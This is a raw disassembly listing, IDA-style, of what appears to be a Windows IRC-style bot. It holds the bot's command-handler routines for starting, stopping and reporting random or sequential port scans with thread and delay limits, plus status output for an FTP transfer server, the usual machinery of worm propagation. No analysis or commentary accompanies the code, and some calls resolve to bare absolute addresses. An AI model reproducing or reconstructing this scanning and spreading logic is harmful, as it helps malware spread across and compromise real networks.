; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4224C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224E0 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4224E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422510 proc near ; CODE XREF: sub_401B90j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019BA
mov ecx, eax
call sub_4018F7
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E7E
push esi
mov ecx, edi
call sub_4021DA
sub_422510 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4225D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4225F0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_4225F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422620 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422620 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422640 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401EF1
add esp, 8
retn 8
sub_422640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422670 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422690 proc near ; CODE XREF: sub_4018F7j
mov eax, [ecx]
retn
sub_422690 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226B0 proc near ; CODE XREF: sub_4019BAj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401839
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4226B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_40163Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A8C
pop ecx
retn 4
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422700 proc near ; CODE XREF: sub_401E7Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FB9
pop ecx
retn 4
sub_422700 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422720 proc near ; CODE XREF: sub_401A3Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42273B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42273B: ; CODE XREF: sub_422720+11j
retn
sub_422720 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_40203Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422750
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422791
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401681
loc_422791: ; CODE XREF: sub_422750+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227E0 proc near ; CODE XREF: sub_401EF1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4227E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422821
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014D3
loc_422821: ; CODE XREF: sub_4227E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4227E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422850 proc near ; CODE XREF: sub_401A8Cj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019C9
retn
sub_422850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422870 proc near ; CODE XREF: sub_401FB9j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422870 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422890 proc near ; CODE XREF: sub_401681j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014D3
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422890 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_4019C9j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A82
test [esp+4+arg_0], 1
jz short loc_4228D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4228D8: ; CODE XREF: sub_4228C0+Dj
mov eax, esi
pop esi
retn 4
sub_4228C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4228F0 proc near ; CODE XREF: sub_401AF5j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4228F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D7F8B, offset aAsn ; "asn"
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4228F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422B40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422B40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422C0A
push 3
call sub_40148D
add esp, 4
test eax, eax
jle short loc_422BDD
push 3
call sub_401DA2
mov eax, dword_50DB50[eax*8]
add esp, 4
push eax
call near ptr 71AB3F41h
nop
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422BDD: ; CODE XREF: sub_422B40+52j
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422C0A: ; CODE XREF: sub_422B40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422CB0
mov edi, dword_4D8370
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4232BD
mov edx, dword_44964F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422CB0: ; CODE XREF: sub_422B40+DFj
lea ecx, [ebp+8D064h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422D30
push eax
push 3
call sub_401DA7
add esp, 8
test eax, eax
jle short loc_422D05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D05: ; CODE XREF: sub_422B40+194j
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D30: ; CODE XREF: sub_422B40+185j
lea ecx, [ebp+8D036h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_422DDE
push 3
call sub_40148D
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_444600 ; " "
push 2
push eax
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017EE
push eax
call edi ; atoi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422F56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_422DDE: ; CODE XREF: sub_422B40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014DD
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422F39
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_445418
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422E69
mov eax, offset dword_445418
loc_422E55: ; CODE XREF: sub_422B40+327j
cmp [eax+8], edi
jb short loc_422E5F
mov [esp+7A0h+var_78D], 1
loc_422E5F: ; CODE XREF: sub_422B40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422E55
loc_422E69: ; CODE XREF: sub_422B40+30Ej
mov ebp, off_511C00
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5F285B
mov eax, dword_445418
add esp, 8
test eax, eax
jz short loc_422ECF
mov edi, offset dword_445420
loc_422E8F: ; CODE XREF: sub_422B40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5F285B
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422E8F
loc_422ECF: ; CODE XREF: sub_422B40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5F285B
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422F29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push 0
call sub_40152D
add esp, 10h
loc_422F29: ; CODE XREF: sub_422B40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422F39: ; CODE XREF: sub_422B40+1C0j
; sub_422B40+1EBj ...
xor al, al
loc_422F3B: ; CODE XREF: sub_422B40+98j
; sub_422B40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422F56: ; CODE XREF: sub_422B40+26Ej
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017EE
push eax
call edi ; atoi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_423033
mov [esp+7A0h+var_658], ebp
jmp short loc_423043
; ---------------------------------------------------------------------------
loc_423033: ; CODE XREF: sub_422B40+4E8j
cmp eax, 3Ch
jbe short loc_423043
mov [esp+7A0h+var_658], 3Ch
loc_423043: ; CODE XREF: sub_422B40+4F1j
; sub_422B40+4F6j
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_42309C
mov [esp+7A0h+var_654], eax
loc_42309C: ; CODE XREF: sub_422B40+553j
mov eax, dword_445418
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42316C
mov ebp, offset dword_445418
jmp short loc_4230C2
; ---------------------------------------------------------------------------
loc_4230BF: ; CODE XREF: sub_422B40+602j
or ebx, 0FFFFFFFFh
loc_4230C2: ; CODE XREF: sub_422B40+57Dj
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017EE
mov edi, eax
lea ecx, [ebp-28h]
loc_4230EC: ; CODE XREF: sub_422B40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423110
test al, al
jz short loc_42310C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423110
add ecx, 2
add edi, 2
test al, al
jnz short loc_4230EC
loc_42310C: ; CODE XREF: sub_422B40+5B6j
xor eax, eax
jmp short loc_423114
; ---------------------------------------------------------------------------
loc_423110: ; CODE XREF: sub_422B40+5B2j
; sub_422B40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423114: ; CODE XREF: sub_422B40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42314A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_4230BF
jmp short loc_423169
; ---------------------------------------------------------------------------
loc_42314A: ; CODE XREF: sub_422B40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_445418[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423169: ; CODE XREF: sub_422B40+608j
or ebx, 0FFFFFFFFh
loc_42316C: ; CODE XREF: sub_422B40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42318A
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4232A5
; ---------------------------------------------------------------------------
loc_42318A: ; CODE XREF: sub_422B40+635j
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push offset dword_4447F8
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013ED
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423267
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
nop
call near ptr 77C3FA76h
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017EE
push eax
call near ptr 77C47660h
nop
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423396
; ---------------------------------------------------------------------------
loc_423267: ; CODE XREF: sub_422B40+688j
push offset dword_4455E4
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset off_4455E0
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset off_4455DC
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4232A5: ; CODE XREF: sub_422B40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
loc_4232BD: ; CODE XREF: sub_422B40+132j
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_4232C4: ; CODE XREF: sub_422B40+735j
; sub_422B40+745j ...
mov ecx, dword_4D808D
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call near ptr 71AB951Eh
nop
push offset off_4455E0
mov ecx, esi
call sub_4013ED
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+7A8h+var_770]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov ecx, esi
push offset dword_4455E4
call sub_4013ED
test eax, eax
jz short loc_42338B
push offset off_4455E0
mov ecx, esi
call sub_4013ED
mov ebp, dword_511A9C
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; strrchr
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42337E
loc_423362: ; CODE XREF: sub_422B40+83Cj
test eax, eax
jz short loc_42337E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; strrchr
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423362
loc_42337E: ; CODE XREF: sub_422B40+820j
; sub_422B40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423396
; ---------------------------------------------------------------------------
loc_42338B: ; CODE XREF: sub_422B40+7F1j
mov [esp+7A0h+var_630], 0
loc_423396: ; CODE XREF: sub_422B40+722j
; sub_422B40+849j
mov edx, dword_4D808D
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
call near ptr 77C3FA76h
nop
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4233F8
mov eax, offset aSequential ; "sequential"
loc_4233F8: ; CODE XREF: sub_422B40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:4453FAh[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BEA
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402284
mov al, 1
jmp loc_422F3B
sub_422B40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4236F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_448F30
mov ecx, offset dword_449958
setnz bl
call sub_4014DD
push eax
push ebx
push ebx
push offset byte_4D8075
call sub_401857
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_445420[eax*4]
inc ecx
mov dword_445420[eax*4], ecx
mov al, 1
retn
sub_4236F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401E10j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
